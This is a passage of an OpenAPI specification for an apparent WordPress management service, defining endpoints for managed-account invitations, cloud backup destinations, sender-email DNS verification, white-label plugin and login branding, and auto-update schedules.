"#/components/schemas/ManagedAccountId" }, "description": "Managed account ID returned in managed account lists and details." } ], "delete": { "tags": [ "Managed Accounts" ], "summary": "Leave managed account", "operationId": "deleteManagedAccount", "description": "Leaves a managed account that you already have access to.\n\nUse this when you no longer need access to another account.\n\nA successful response removes your access and returns no response body.\n", "responses": { "204": { "$ref": "#/components/responses/DeleteManagedAccountNoContentResponse" }, "400": { "description": "The managed account access is not connected.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "not_a_connected_collaborator": { "summary": "Pending invitation cannot be left", "value": { "error": { "status": 400, "code": "bad_request", "message": "The request could not be processed due to invalid parameters.", "details": [ { "code": "not_a_connected_collaborator", "message": "Only connected team members can leave; use reject for pending invitations." } ] } } } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/managed-accounts/{managed_account_id}/accept": { "parameters": [ { "name": "managed_account_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/ManagedAccountId" }, "description": "Managed account ID returned in managed account lists and details." } ], "post": { "tags": [ "Managed Accounts" ], "summary": "Accept invitation", "operationId": "acceptManagedAccount", "description": "Accepts an invitation to access another person's account.\n\nUse this when you want the invited account to appear in your managed\naccounts.\n\nThe invitation must have been sent to your email address and must still be\npending. Your role and site access are chosen by the inviting account.\n\nA successful response returns the connected managed account.\n", "responses": { "200": { "description": "Invitation accepted successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/AcceptManagedAccountResponse" }, "example": { "managed_account": { "id": "wJ8nK5xR2mL7pQ4vT6hY9bFd", "email": "owner@example.com", "role": "administrator", "company_name": "Acme Inc", "status": "connected", "all_sites_access": true, "created_at": "2026-02-28T10:00:00Z", "updated_at": "2026-02-28T10:05:00Z" } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "description": "The invitation could not be accepted.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "invitation_already_accepted": { "summary": "Invitation was already accepted", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "The request violates business rules.", "details": [ { "code": "invitation_already_accepted", "message": "Invitation was already accepted." } ] } } }, "invitation_expired": { "summary": "Invitation has expired", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "The request violates business rules.", "details": [ { "code": "invitation_expired", "message": "Invitation has expired." } ] } } }, "invitation_removed": { "summary": "Invitation was removed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "The request violates business rules.", "details": [ { "code": "invitation_removed", "message": "Invitation was removed." } ] } } }, "owner_email": { "summary": "Account owner cannot be added as team member", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "The request violates business rules.", "details": [ { "code": "owner_email", "message": "Account owner cannot be used as team member." } ] } } } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/managed-accounts/{managed_account_id}/reject": { "parameters": [ { "name": "managed_account_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/ManagedAccountId" }, "description": "Managed account ID returned in managed account lists and details." } ], "post": { "tags": [ "Managed Accounts" ], "summary": "Reject invitation", "operationId": "rejectManagedAccount", "description": "Rejects an invitation to access another person's account.\n\nUse this when you do not want access to the invited account.\n\nA successful response returns the invitation with `status: rejected`.\n", "responses": { "200": { "description": "Invitation rejected successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/RejectManagedAccountResponse" }, "example": { "managed_account": { "id": "tR3mK7xN9pL4wJ6vQ2hY8bFa", "email": "owner@example.com", "role": "collaborator", "company_name": "Acme Inc", "status": "rejected", "all_sites_access": false, "created_at": "2026-02-28T10:00:00Z", "updated_at": "2026-02-28T10:05:00Z" } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "description": "The invitation has already been processed.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "invitation_already_processed": { "summary": "Invitation already processed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "The request violates business rules.", "details": [ { "code": "invitation_already_processed", "message": "Invitation was already processed." } ] } } } } } } }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/backup-destinations": { "get": { "tags": [ "Backup Destinations" ], "summary": "List backup destinations", "operationId": "listBackupDestinations", "description": "Returns backup destinations available to your account. The list includes\nstorage providers that can be used for backup uploads, plus saved\ndestination details when a provider has been connected.\n\nEach entry shows the provider, connection status, connected account\ndetails when available, and upload settings.\n\nUse this list before starting a backup upload. For Google Drive uploads,\nuse the saved destination `id` from the connected Google Drive entry. For\nDropbox uploads, send provider `dropbox` in the Backup Upload request.\nGoogle Drive is omitted when that provider is disabled.\n\nA successful response returns the available backup destinations.\n", "responses": { "200": { "description": "Backup destinations returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListBackupDestinationsResponse" }, "example": { "backup_destinations": [ { "id": "bkd_4ac72f9d10b84621", "provider": "dropbox", "provider_label": "Dropbox", "name": "Dropbox", "status": "active", "connected": true, "email": "dropbox@example.com", "provider_account_id": null, "provider_metadata": {}, "config": {}, "last_tested_at": null, "last_error_code": null, "last_error_message": null, "created_at": "2026-06-09T09:30:00Z", "updated_at": "2026-06-10T10:00:00Z" }, { "id": "bkd_8fd93a2c91e44d19", "provider": "google_drive", "provider_label": "Google Drive", "name": "Google Drive", "status": "active", "connected": true, "email": "drive@example.com", "provider_account_id": "google-account-id", "provider_metadata": { "folder_id": "folder-id", "folder_name": "Site Backups" }, "config": { "folder_policy": "app_folder", "folder_name": "Site Backups" }, "last_tested_at": "2026-06-10T10:00:00Z", "last_error_code": null, "last_error_message": null, "created_at": "2026-06-10T09:30:00Z", "updated_at": "2026-06-10T10:00:00Z" } ] } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/backup-destinations/{backup_destination_id}": { "get": { "tags": [ "Backup Destinations" ], "summary": "Show backup destination", "operationId": "showBackupDestination", "description": "Returns one backup destination by provider ID or saved destination ID.\nUse provider ID `dropbox` or `google_drive` to view a storage provider,\nincluding its current connection status. Use a saved destination `id` to\nview a destination that has already been saved in your account.\n\nUse this when you need to check one storage provider or saved destination\nbefore using it for a backup upload.\n\nGoogle Drive can be viewed only when that provider is enabled.\n\nA successful response returns the requested backup destination.\n", "parameters": [ { "name": "backup_destination_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/BackupDestinationId" }, "description": "Backup destination provider ID or saved destination ID." } ], "responses": { "200": { "description": "Backup destination returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ShowBackupDestinationResponse" }, "example": { "backup_destination": { "id": "bkd_8fd93a2c91e44d19", "provider": "google_drive", "provider_label": "Google Drive", "name": "Google Drive", "status": "active", "connected": true, "email": "drive@example.com", "provider_account_id": "google-account-id", "provider_metadata": { "folder_id": "folder-id", "folder_name": "Site Backups" }, "config": { "folder_policy": "app_folder", "folder_name": "Site Backups" }, "last_tested_at": "2026-06-10T10:00:00Z", "last_error_code": null, "last_error_message": null, "created_at": "2026-06-10T09:30:00Z", "updated_at": "2026-06-10T10:00:00Z" } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/backup-destinations/{backup_destination_id}/test": { "post": { "tags": [ "Backup Destinations" ], "summary": "Test backup destination", "operationId": "testBackupDestination", "description": "Tests one saved Dropbox or Google Drive backup destination.\n\nUse this before starting a backup upload to check whether the saved\nconnection can still access the storage account. When the test succeeds,\nthe destination status, connected account details, and upload settings\nare refreshed.\n\n`backup_destination_id` can be a provider ID (`dropbox`, `google_drive`)\nonly after that provider has a saved destination in your account.\n\nA successful response returns the tested backup destination.\n", "parameters": [ { "name": "backup_destination_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/BackupDestinationId" }, "description": "Backup destination provider ID or saved destination ID." } ], "responses": { "200": { "description": "Backup destination test completed successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/TestBackupDestinationResponse" }, "example": { "backup_destination": { "id": "bkd_8fd93a2c91e44d19", "provider": "google_drive", "provider_label": "Google Drive", "name": "Google Drive", "status": "active", "connected": true, "email": "drive@example.com", "provider_account_id": "google-account-id", "provider_metadata": { "folder_id": "folder-id", "folder_name": "Site Backups" }, "config": { "folder_policy": "app_folder", "folder_name": "Site Backups" }, "last_tested_at": "2026-06-10T10:00:00Z", "last_error_code": null, "last_error_message": null, "created_at": "2026-06-10T09:30:00Z", "updated_at": "2026-06-10T10:00:00Z" } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/TestBackupDestinationUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" }, "503": { "$ref": "#/components/responses/TestBackupDestinationServiceUnavailableResponse" } } } }, "/backup-destinations/{backup_destination_id}/disconnect": { "post": { "tags": [ "Backup Destinations" ], "summary": "Disconnect backup destination", "operationId": "disconnectBackupDestination", "description": "Disconnects one saved Dropbox or Google Drive backup destination.\n\nUse this when the account should stop sending backup uploads to that\nstorage account. The saved connection and connected account details are\ncleared.\n\n`backup_destination_id` can be a provider ID (`dropbox`, `google_drive`)\nonly after that provider has a saved destination in your account.\n\nA successful response returns the backup destination with\n`status: inactive`.\n", "parameters": [ { "name": "backup_destination_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/BackupDestinationId" }, "description": "Backup destination provider ID or saved destination ID." } ], "responses": { "200": { "description": "Backup destination disconnected successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DisconnectBackupDestinationResponse" }, "example": { "backup_destination": { "id": "bkd_8fd93a2c91e44d19", "provider": "google_drive", "provider_label": "Google Drive", "name": "Google Drive", "status": "inactive", "connected": false, "email": null, "provider_account_id": null, "provider_metadata": {}, "config": {}, "last_tested_at": null, "last_error_code": null, "last_error_message": null, "created_at": "2026-06-10T09:30:00Z", "updated_at": "2026-06-10T10:15:00Z" } } } } }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sender-emails": { "get": { "tags": [ "Sender Emails" ], "summary": "List sender emails", "operationId": "listSenderEmails", "description": "Returns sender emails in your account with display names, verification status, and DNS details.\n\nUse this list to review configured From addresses, find a sender email ID for later requests, or check which DNS details still need verification.\n\nA successful response returns a paginated list of sender emails.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `email`, `name`, `status`, `domain_dkim_verified`, `domain_return_path_verified`, `created_at`, `updated_at`\n- Supported operators:\n - `contains`: `email`, `name`\n - `eq`: `status`, `domain_dkim_verified`, `domain_return_path_verified`\n - `gte`: `created_at`, `updated_at`\n - `lte`: `created_at`, `updated_at`\n- Supported status values for matching: `pending`, `verified`\n- Boolean filters accept `true` or `false`\n- Use ISO 8601 timestamps for `created_at` and `updated_at` filters\n- `timezone` applies to `created_at` filters\n- Example: `filters[email:contains]=reports`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `email`, `name`, `status`, `created_at`, `updated_at`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `created_at,desc`\n- Example: `sort=created_at,desc`\n", "parameters": [ { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "$ref": "#/components/parameters/timezone" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListSenderEmailsSort" }, "description": "Sort order for returned sender emails.", "example": "created_at,desc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/ListSenderEmailsFilters" }, "description": "Filters applied to returned sender emails.", "example": { "email:contains": "reports", "status:eq": "verified" } } ], "responses": { "200": { "description": "Sender emails returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSenderEmailsResponse" }, "example": { "sender_emails": [ { "id": "sE8nK5xR2mL7pQ4vT6hY9bFd", "email": "reports@example.com", "name": "Reports", "status": "verified", "domain": { "dkim": { "hostname": "mail._domainkey.example.com", "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...", "verified": true }, "return_path": { "hostname": "bounce.example.com", "value": "return.example.net", "verified": true } }, "created_at": "2026-01-10T09:00:00Z", "updated_at": "2026-01-10T09:30:00Z" }, { "id": "pN3mK7xQ9pL4wJ6vT2hY8bFa", "email": "billing@example.com", "name": "Billing", "status": "pending", "domain": { "dkim": { "hostname": "mail._domainkey.example.com", "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...", "verified": false }, "return_path": { "hostname": "bounce.example.com", "value": "return.example.net", "verified": false } }, "created_at": "2026-01-11T09:00:00Z", "updated_at": "2026-01-11T09:00:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/InvalidIndexQueryResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SenderEmailPlanRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "post": { "tags": [ "Sender Emails" ], "summary": "Create sender email", "operationId": "createSenderEmail", "description": "Creates a sender email for a From address and starts ownership verification.\n\nUse this when adding an address that report or notification emails can use as the From address.\n\nA successful response returns the created sender email with `status: pending` and its DNS details.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateSenderEmailRequest" }, "example": { "sender_email": { "email": "reports@example.com", "name": "Reports" } } } } }, "responses": { "201": { "description": "Sender email created successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SenderEmailResponse" }, "example": { "sender_email": { "id": "sE8nK5xR2mL7pQ4vT6hY9bFd", "email": "reports@example.com", "name": "Reports", "status": "pending", "domain": { "dkim": { "hostname": "mail._domainkey.example.com", "value": "k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A...", "verified": false }, "return_path": { "hostname": "bounce.example.com", "value": "return.example.net", "verified": false } }, "created_at": "2026-01-10T09:00:00Z", "updated_at": "2026-01-10T09:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SenderEmailValidationResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SenderEmailCreateBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sender-emails/{sender_email_id}": { "parameters": [ { "name": "sender_email_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SenderEmailId" }, "description": "Sender email ID returned in sender email lists and details." } ], "get": { "tags": [ "Sender Emails" ], "summary": "Show sender email", "operationId": "showSenderEmail", "description": "Returns one sender email from your account with verification status and DNS details.\n\nUse this when you need the current verification status or DNS details for one address.\n\nA successful response returns the requested sender email.\n", "responses": { "200": { "$ref": "#/components/responses/SenderEmailOkResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SenderEmailPlanRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "delete": { "tags": [ "Sender Emails" ], "summary": "Delete sender email", "operationId": "deleteSenderEmail", "description": "Deletes a sender email from your account.\n\nUse this when an address should no longer be available for report or notification emails.\n\nA successful response returns no response body.\n", "responses": { "204": { "$ref": "#/components/responses/DeleteSenderEmailNoContentResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SenderEmailDeleteBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sender-emails/{sender_email_id}/update": { "parameters": [ { "name": "sender_email_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SenderEmailId" }, "description": "Sender email ID returned in sender email lists and details." } ], "post": { "tags": [ "Sender Emails" ], "summary": "Update sender email", "operationId": "updateSenderEmail", "description": "Updates the display name or return-path hostname for a sender email.\n\nUse this when recipients should see a different sender name, or when the return-path DNS hostname needs to change.\n\nA successful response returns the updated sender email.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateSenderEmailRequest" }, "examples": { "name": { "summary": "Update display name", "value": { "sender_email": { "name": "Reports" } } }, "return_path": { "summary": "Update return-path hostname", "value": { "sender_email": { "domain": { "return_path": { "hostname": "bounce.example.com" } } } } }, "both": { "summary": "Update both editable settings", "value": { "sender_email": { "name": "Reports", "domain": { "return_path": { "hostname": "bounce.example.com" } } } } } } } } }, "responses": { "200": { "$ref": "#/components/responses/SenderEmailOkResponse" }, "400": { "$ref": "#/components/responses/SenderEmailUpdateValidationResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SenderEmailUpdateBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sender-emails/{sender_email_id}/resend-verification": { "parameters": [ { "name": "sender_email_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SenderEmailId" }, "description": "Sender email ID returned in sender email lists and details." } ], "post": { "tags": [ "Sender Emails" ], "summary": "Resend sender email verification", "operationId": "resendSenderEmailVerification", "description": "Requests another ownership verification email for a sender email with `status: pending`.\n\nUse this when the recipient needs a new verification link.\n\nA successful response returns the pending sender email.\n", "responses": { "200": { "$ref": "#/components/responses/SenderEmailPendingOkResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SenderEmailResendBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sender-emails/{sender_email_id}/rotate-dkim": { "parameters": [ { "name": "sender_email_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SenderEmailId" }, "description": "Sender email ID returned in sender email lists and details." } ], "post": { "tags": [ "Sender Emails" ], "summary": "Rotate sender email DKIM", "operationId": "rotateSenderEmailDkim", "description": "Rotates the DKIM DNS value for a sender email with `status: verified`.\n\nUse this when you need to replace the DKIM DNS value for the address domain.\n\nAfter rotation, publish the returned DKIM hostname and value. `domain.dkim.verified` remains `false` until the new DNS details are published and accepted.\n\nA successful response returns the updated sender email with the new DKIM DNS values.\n", "responses": { "200": { "$ref": "#/components/responses/SenderEmailDkimRotatedResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SenderEmailRotateDkimBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sender-emails/{sender_email_id}/verify-dkim": { "parameters": [ { "name": "sender_email_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SenderEmailId" }, "description": "Sender email ID returned in sender email lists and details." } ], "post": { "tags": [ "Sender Emails" ], "summary": "Verify sender email DKIM", "operationId": "verifySenderEmailDkim", "description": "Checks DKIM DNS verification for a sender email with `status: verified`.\n\nUse this after publishing or changing the DNS details shown in `domain.dkim`.\n\nIf the DNS details are not published or accepted yet, `domain.dkim.verified` remains `false`.\n\nA successful response returns the updated sender email.\n", "responses": { "200": { "$ref": "#/components/responses/SenderEmailOkResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SenderEmailVerifyDkimBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sender-emails/{sender_email_id}/verify-return-path": { "parameters": [ { "name": "sender_email_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SenderEmailId" }, "description": "Sender email ID returned in sender email lists and details." } ], "post": { "tags": [ "Sender Emails" ], "summary": "Verify sender email return path", "operationId": "verifySenderEmailReturnPath", "description": "Checks whether the return-path CNAME is published and accepted for a sender email with `status: verified`.\n\nUse this after publishing or changing the CNAME shown in `domain.return_path`.\n\nIf the CNAME is not published or accepted yet, `domain.return_path.verified` remains `false`.\n\nA successful response returns the updated sender email.\n", "responses": { "200": { "$ref": "#/components/responses/SenderEmailOkResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SenderEmailVerifyReturnPathBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sender-emails/{sender_email_id}/refresh": { "parameters": [ { "name": "sender_email_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SenderEmailId" }, "description": "Sender email ID returned in sender email lists and details." } ], "post": { "tags": [ "Sender Emails" ], "summary": "Refresh sender email verification status", "operationId": "refreshSenderEmail", "description": "Refreshes the current ownership and DNS verification status for a sender email.\n\nUse this after the address owner confirms verification, or after DKIM or return-path DNS details are changed.\n\nThe refresh can change `status` from `pending` to `verified` and can update `domain.dkim.verified` or `domain.return_path.verified`.\n\nA successful response returns the updated sender email.\n", "responses": { "200": { "$ref": "#/components/responses/SenderEmailOkResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/NotFoundResponse" }, "422": { "$ref": "#/components/responses/SenderEmailRefreshBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/whitelabel/plugin-branding": { "get": { "tags": [ "Plugin Branding" ], "summary": "Show plugin branding", "operationId": "showPluginBranding", "description": "Returns how your account's plugin is displayed in WordPress admin. The\nresponse includes the branding type and, when the plugin is shown, the\ndisplayed name, description, and author details.\n\nUse this when you need to review the current plugin branding before\nchanging or resetting it.\n\n`type: default` means the plugin uses your account's default display\ndetails. `type: hidden` means the name, description, and author fields\nare null.\n\nA successful response returns the current plugin branding.\n", "responses": { "200": { "$ref": "#/components/responses/PluginBrandingOkResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/whitelabel/plugin-branding/update": { "post": { "tags": [ "Plugin Branding" ], "summary": "Update plugin branding", "operationId": "updatePluginBranding", "description": "Updates how your account's plugin is displayed in WordPress admin and\napplies the saved branding across sites in your account.\n\nUse this to set a custom displayed name, description, and author\ndetails, or to hide the plugin.\n\nThe account plan must support Plugin Branding. Another setting update\ncannot already be in progress.\n\nA successful response returns the saved plugin branding.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdatePluginBrandingRequest" }, "examples": { "custom": { "summary": "Set custom plugin details", "value": { "plugin_branding": { "type": "custom", "name": "Site Guardian", "description": "Managed WordPress security and backup", "author": { "name": "Acme Agency", "url": "https://example.com" } } } }, "hidden": { "summary": "Hide the plugin", "value": { "plugin_branding": { "type": "hidden" } } } } } } }, "responses": { "200": { "$ref": "#/components/responses/PluginBrandingUpdatedResponse" }, "400": { "$ref": "#/components/responses/PluginBrandingValidationResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "409": { "$ref": "#/components/responses/PluginBrandingConflictResponse" }, "422": { "$ref": "#/components/responses/PluginBrandingPlanRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/whitelabel/plugin-branding/reset": { "post": { "tags": [ "Plugin Branding" ], "summary": "Reset plugin branding", "operationId": "resetPluginBranding", "description": "Resets how your account's plugin is displayed in WordPress admin to\nyour account's default plugin details.\n\nUse this when the plugin should stop using custom display details or\nshould no longer be hidden.\n\nThe account plan must support Plugin Branding. Another setting update\ncannot already be in progress.\n\nA successful response returns plugin branding with `type: default`.\n", "responses": { "200": { "$ref": "#/components/responses/PluginBrandingDefaultResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "409": { "$ref": "#/components/responses/PluginBrandingConflictResponse" }, "422": { "$ref": "#/components/responses/PluginBrandingPlanRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/whitelabel/wp-login": { "get": { "tags": [ "WP Login Branding" ], "summary": "Show WordPress login branding", "operationId": "showWpLogin", "description": "Returns how the WordPress login screen is displayed across sites in your\naccount. The response includes the branding type and any custom logo,\npage label, error message, help text, or sender email.\n\nUse this when you need to review the current WP Login Branding settings\nbefore changing or resetting them.\n\n`type: default` means no custom login branding is active. `type: custom`\nmeans at least one custom login screen setting is active.\n\nA successful response returns the current WP Login branding.\n", "responses": { "200": { "$ref": "#/components/responses/WpLoginOkResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/whitelabel/wp-login/update": { "post": { "tags": [ "WP Login Branding" ], "summary": "Update WordPress login branding", "operationId": "updateWpLogin", "description": "Updates the WordPress login screen display and sender email settings\nused across sites in your account.\n\nUse this to change the login logo, page label, error message, help\ntext, or sender email.\n\nThe account plan must support WP Login Branding. Another setting update\ncannot already be in progress.\n\nA successful response returns the saved WP Login Branding settings.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateWpLoginRequest" }, "examples": { "custom": { "summary": "Set custom login branding", "value": { "wp_login": { "logo_file": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...", "label": "Agency Login", "error_message": "The code you entered is incorrect.", "tooltip": "Need help? Contact support.", "sender_email": { "id": "vL5mN8xR3pK7wJ1qT9hY2bFg" } } } }, "default_sender": { "summary": "Clear the selected sender email", "value": { "wp_login": { "sender_email": null } } } } } } }, "responses": { "200": { "$ref": "#/components/responses/WpLoginUpdatedResponse" }, "400": { "$ref": "#/components/responses/WpLoginValidationResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "409": { "$ref": "#/components/responses/WpLoginConflictResponse" }, "422": { "$ref": "#/components/responses/WpLoginBusinessResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/whitelabel/wp-login/reset": { "post": { "tags": [ "WP Login Branding" ], "summary": "Reset WordPress login branding", "operationId": "resetWpLogin", "description": "Clears custom WordPress login screen display and sender email settings\nacross sites in your account.\n\nUse this when sites should return to the default login branding.\n\nThe account plan must support WP Login Branding. Another setting update\ncannot already be in progress.\n\nA successful response returns WP Login Branding settings with\n`type: default`.\n", "responses": { "200": { "$ref": "#/components/responses/WpLoginDefaultResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "409": { "$ref": "#/components/responses/WpLoginConflictResponse" }, "422": { "$ref": "#/components/responses/WpLoginPlanRequiredResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/auto-update-schedules": { "get": { "tags": [ "Auto Update Schedules" ], "summary": "List auto update schedules", "operationId": "listAutoUpdateSchedules", "description": "Returns auto update schedules in your account with status, recurrence,\nselected sites, included update types, next run time, and backup or\nvisual regression options.\n\nUse this list to review scheduled WordPress updates, find a schedule to\nupdate, or check which sites and update types each schedule covers.\n\nA successful response returns a paginated list of auto update schedules.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `name`, `status`, `schedule`, `update_types`,\n `site_id`, `has_backup`, `has_vr`, `started_at`, `next_update_at`,\n `created_at`, `updated_at`\n- Supported operators:\n - `contains`: `name`\n - `eq`: `status`, `schedule`, `has_backup`, `has_vr`\n - `in`: `status`, `schedule`, `update_types`, `site_id`\n - `gte`: `started_at`, `next_update_at`, `created_at`, `updated_at`\n - `lte`: `started_at`, `next_update_at`, `created_at`, `updated_at`\n- Supported status values for matching: `active`, `paused`\n- Supported schedule values for matching: `daily`, `weekly_on_day`,\n `biweekly`, `monthly_on_date`, 